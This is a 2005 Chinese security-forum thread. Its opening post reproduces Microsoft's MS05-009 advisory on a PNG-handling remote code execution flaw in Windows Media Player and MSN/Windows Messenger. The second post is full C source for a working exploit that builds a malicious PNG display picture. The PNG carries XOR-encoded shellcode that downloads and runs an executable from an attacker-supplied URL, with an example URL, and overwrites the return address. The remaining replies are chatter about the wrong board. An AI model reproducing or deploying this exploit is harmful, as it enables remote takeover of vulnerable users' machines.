论坛: 菜鸟乐园 标题: MS05-009:PNG处理中漏洞可允许远程执行代码+攻击代码 复制本贴地址    
作者: BrideX [bridex]    论坛用户   登录
MS05-009:PNG处理中漏洞可允许远程执行代码
2005年02月09日 16:51 微软安全中心 
 2月8日,微软安全中心发布了2月漏洞安全公告:MS05-009危害等级为“严重”,请广大用户尽快到微软官方网站下载微软最新补丁。

编号:MS05-009
名称:PNG 处理中的漏洞可能允许远程执行代码
KB编号:890261
等级:严重
安全更新替代:本公告替代以前的多个安全更新,详细请见下表: 公告 ID Windows Media Player 9 系列
MS03-02  已取代 

漏洞描述:
Windows Media Player 中存在一个远程代码执行漏洞,因为它无法正确处理过宽或过高值的 PNG 文件。 攻击者可以通过构建恶意的 PNG 来试图利用此漏洞,如果用户访问了恶意网站或点击了恶意电子邮件中的链接,此漏洞就可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。

受影响的软件:
• Microsoft Windows Media Player 9 系列(在 Windows 2000、Windows XP 和 Windows Server 2003 上运行时)�C 下载此更新
• Microsoft Windows Messenger 5.0 版(可以安装在所有支持的操作系统上的单机版)�C 下载此更新
• Microsoft MSN Messenger 6.1 - 下载此更新
• Microsoft MSN Messenger 6.2 - 下载此更新
• Microsoft Windows 98、Microsoft Windows 98 Second Edition (SE)、Microsoft Windows Millennium Edition (ME)


受影响的组件:
• Microsoft Windows Messenger 4.7.0.2009(在 Windows XP Service Pack 1 上运行时)
• Microsoft Windows Messenger 4.7.0.3000(在 Windows XP Service Pack 2 上运行时)


严重等级和漏洞标识: 漏洞标识 漏洞的影响 Windows Media Player 9 系列 CAN-2004-1244 Windows Messenger(所有版本)CAN-2004-0597 MSN Messenger 6.1 和 6.2 CAN-2004-0597
PNG 处理漏洞 - CAN-2004-1244 远程执行代码

严重 无 无
PNG 处理漏洞 - CAN-2004-0597 远程执行代码 无 中等 严重
所有漏洞的综合严重程度  严重 中等 严重


减轻影响的方式:

• 在基于 Web 的攻击中,攻击者必须拥有一个网站,并在上面放置通过恶意的 PNG 文件来利用此漏洞的网页。 攻击者还可能尝试构建一个网站并且通过它来显示带有恶意内容的网页。 攻击者无法强迫用户访问网站。 相反,攻击者必须劝诱用户访问该网站,通常是让用户单击通向攻击者站点或攻击者构建的站点的链接。

• 成功利用此漏洞的攻击者可以获得与本地用户相同的权限。 那些帐户被配置为拥有较少系统用户权限的用户比具有管理用户权限的用户受到的影响要小。


   


地主 发表时间: 05-04-15 12:12

回复: BrideX [bridex]   论坛用户   登录
/*
*
* MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit (MS05-009)
* Bug discoveried by Core Security Technologies (www.coresecurity.com)
* Exploit coded By ATmaCA
* Copyright ?002-2005 AtmacaSoft Inc. All Rights Reserved.
* Web: http://www.atmacasoft.com
* E-Mail: atmaca@icqmail.com
* Credit to kozan and delikon
* Usage:exploit <OutputPath> <Url>
*
*/

/*
*
* Tested with MSN Messenger 6.2.0137
* This vulnerability can be exploited on Windows 2000 (all service
packs)
* and Windows XP (all service packs) that run vulnerable
* clients of MSN Messenger.
*
*/

/*
*
* After creating vuln png image, open
* MSN Messenger and select it as your display picture in
* "Tools->Change Display Picture".
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <string.h>


#ifdef __BORLANDC__
#include <mem.h>
#endif

#define NOP 0x90

char png_header[] =
"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52"
"\x00\x00\x00\x40\x00\x00\x00\x40\x08\x03\x00\x00\x00\x9D\xB7\x81"
"\xEC\x00\x00\x01\xB9\x74\x52\x4E\x53";

char pngeof[] = "\x90\x90\x90\x59\xE8\x47\xFE\xFF\xFF";

/* Generic win32 http download shellcode
xored with 0x1d by delikon (http://delikon.de/) */
char shellcode[] = "\xEB"
"\x10\x58\x31\xC9\x66\x81\xE9\x22\xFF\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
"\xFF\xFF\xF4\xD1\x1D\x1D\x1D\x42\xF5\x4B\x1D\x1D\x1D\x94\xDE\x4D\x75\x93\x53\x13"
"\xF1\xF5\x7D\x1D\x1D\x1D\x2C\xD4\x7B\xA4\x72\x73\x4C\x75\x68\x6F\x71\x70\x49\xE2"
"\xCD\x4D\x75\x2B\x07\x32\x6D\xF5\x5B\x1D\x1D\x1D\x2C\xD4\x4C\x4C\x90\x2A\x4B\x90"
"\x6A\x15\x4B\x4C\xE2\xCD\x4E\x75\x85\xE3\x97\x13\xF5\x30\x1D\x1D\x1D\x4C\x4A\xE2"
"\xCD\x2C\xD4\x54\xFF\xE3\x4E\x75\x63\xC5\xFF\x6E\xF5\x04\x1D\x1D\x1D\xE2\xCD\x48"
"\x4B\x79\xBC\x2D\x1D\x1D\x1D\x96\x5D\x11\x96\x6D\x01\xB0\x96\x75\x15\x94\xF5\x43"
"\x40\xDE\x4E\x48\x4B\x4A\x96\x71\x39\x05\x96\x58\x21\x96\x49\x18\x65\x1C\xF7\x96"
"\x57\x05\x96\x47\x3D\x1C\xF6\xFE\x28\x54\x96\x29\x96\x1C\xF3\x2C\xE2\xE1\x2C\xDD"
"\xB1\x25\xFD\x69\x1A\xDC\xD2\x10\x1C\xDA\xF6\xEF\x26\x61\x39\x09\x68\xFC\x96\x47"
"\x39\x1C\xF6\x7B\x96\x11\x56\x96\x47\x01\x1C\xF6\x96\x19\x96\x1C\xF5\xF4\x1F\x1D"
"\x1D\x1D\x2C\xDD\x94\xF7\x42\x43\x40\x46\xDE\xF5\x32\xE2\xE2\xE2\x70\x75\x75\x33"
"\x78\x65\x78\x1D";

FILE *di;
int i = 0;
short int weblength;
char *web;
char *pointer = NULL;
char *newshellcode;

/*xor cryptor*/
char *Sifrele(char *Name1)
{
char *Name=Name1;
char xor=0x1d;
int Size=strlen(Name);
for(i=0;i<Size;i++)
Name[i]=Name[i]^xor;
return Name;
}


void main(int argc, char *argv[])
{

if (argc < 3)
{
printf("MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit\n");
printf("Bug discoveried by Core Security Technologies (www.coresecurity.com)\n");
printf("Exploit coded By ATmaCA\n");
printf("Copyright ?002-2005 AtmacaSoft Inc. All Rights Reserved.\n");
printf("Web: http://www.atmacasoft.com\n");
printf("E-Mail: atmaca@icqmail.com\n");
printf("Credit to kozan and delikon\n\n");
printf("\tUsage:exploit <OutputPath> <Url>\n");
printf("\tExample:exploit vuln.png http://www.atmacasoft.com/exp/msg.exe\n");

return;
}


web = argv[2];


if( (di=fopen(argv[1],"wb")) == NULL )
{
printf("Error opening file!\n");
return;
}
for(i=0;i<sizeof(png_header)-1;i++)
fputc(png_header[i],di);

/*stuff in a couple of NOPs*/
for(i=0;i<99;i++)
fputc(NOP,di);

weblength=(short int)0xff22;
pointer=strstr(shellcode,"\x22\xff");
weblength-=strlen(web)+1;
memcpy(pointer,&weblength,2);
newshellcode =new char[sizeof(shellcode)+strlen(web)+1];
strcpy(newshellcode,shellcode);
strcat(newshellcode,Sifrele(web));
strcat(newshellcode,"\x1d");

//shell code
for(i=0;i<strlen(newshellcode);i++)
fputc(newshellcode[i],di);


for(i=0;i<(83-strlen(web));i++) //NOPs
fputc(NOP,di);

/*Overwriting the return address (EIP)*/
/*0x005E0547 - ret */
fputc(0x47,di);
fputc(0x05,di);
fputc(0x5e,di);
fputc(0x00,di);

for(i=0;i<sizeof(pngeof)-1;i++)
fputc(pngeof[i],di);

printf("Vulnarable png file %s has been generated!\n",argv[1]);

fclose(di);
}


B1层 发表时间: 05-04-15 12:13

回复: BrideX [bridex]   论坛用户   登录
贴子发错版块了。
晕。。/。。

B2层 发表时间: 05-04-15 12:23

回复: BrideX [bridex]   论坛用户   登录

怎么转到别的版块?

B3层 发表时间: 05-04-17 10:14

回复: BrideX [bridex]   论坛用户   登录
自己移山。。。。

B4层 发表时间: 05-04-29 13:12

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号